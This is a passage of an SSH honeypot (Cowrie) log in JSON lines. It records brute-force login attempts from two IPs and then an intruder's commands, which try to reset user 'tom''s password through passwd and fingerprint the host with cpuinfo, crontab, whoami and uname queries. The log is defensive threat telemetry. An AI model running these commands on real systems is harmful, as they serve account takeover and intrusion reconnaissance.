penssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.896432Z","src_ip":"45.137.172.116","session":"9268f161ea90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:30.311051Z","src_ip":"45.137.172.116","session":"9268f161ea90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:31.428596Z","src_ip":"45.137.172.116","session":"9268f161ea90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":55824,"dst_ip":"10.17.0.5","dst_port":22,"session":"204c9923e4bf","protocol":"ssh","message":"New connection: 45.137.172.116:55824 (10.17.0.5:22) [session: 204c9923e4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:31.520939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:31.525619Z","src_ip":"45.137.172.116","session":"204c9923e4bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:31.624676Z","src_ip":"45.137.172.116","session":"204c9923e4bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":57842,"dst_ip":"10.17.0.5","dst_port":22,"session":"acda96badf21","protocol":"ssh","message":"New connection: 69.48.205.231:57842 (10.17.0.5:22) [session: acda96badf21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:31.917804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:31.922215Z","src_ip":"69.48.205.231","session":"acda96badf21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:31.962484Z","src_ip":"69.48.205.231","session":"acda96badf21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"3245gs5662d34","message":"login attempt [tom/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:32.044197Z","src_ip":"45.137.172.116","session":"204c9923e4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webadmin","message":"login attempt [root/webadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:32.158911Z","src_ip":"69.48.205.231","session":"acda96badf21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.145101Z","src_ip":"45.137.172.116","session":"204c9923e4bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.203053Z","src_ip":"69.48.205.231","session":"acda96badf21","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.280901Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.283693Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.476734Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.619955Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"tom\\nDe9D5hyUC2O9\\nDe9D5hyUC2O9\"|passwd|bash","message":"CMD: echo -e \"tom\\nDe9D5hyUC2O9\\nDe9D5hyUC2O9\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.623377Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.627254Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.630661Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/755295bc071029610c32f59a6f9e33088f50c7f0276c0e3192cde257a8b71480","size":32,"shasum":"755295bc071029610c32f59a6f9e33088f50c7f0276c0e3192cde257a8b71480","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/755295bc071029610c32f59a6f9e33088f50c7f0276c0e3192cde257a8b71480 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.824232Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.965127Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"tom\\nDe9D5hyUC2O9\\nDe9D5hyUC2O9\\n\"|passwd","message":"CMD: echo \"tom\\nDe9D5hyUC2O9\\nDe9D5hyUC2O9\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:33.968118Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/512043b156163afc095078b65e1ebe4d7a5efe0f60338576b7cd7bca13e2fb0e","size":25,"shasum":"512043b156163afc095078b65e1ebe4d7a5efe0f60338576b7cd7bca13e2fb0e","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/512043b156163afc095078b65e1ebe4d7a5efe0f60338576b7cd7bca13e2fb0e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:34.159333Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:34.298780Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:34.302160Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:34.493980Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:34.630698Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:34.634038Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:34.826173Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:34.977875Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:34.981686Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:34.984895Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:35.178739Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:35.329555Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:35.332854Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":19,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:35.525167Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:35.691083Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:35.694896Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:35.887616Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:36.031720Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:36.035230Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:36.231327Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:36.372567Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:36.375267Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:36.567563Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:36.716027Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:36.720113Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:36.913101Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:37.057750Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:37.061552Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:37.254146Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:37.391393Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:37.394051Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:37.585628Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:37.726715Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:37.730241Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":4,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:37.922272Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:38.072729Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:38.076637Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:38.270175Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:38.412663Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:38.416197Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
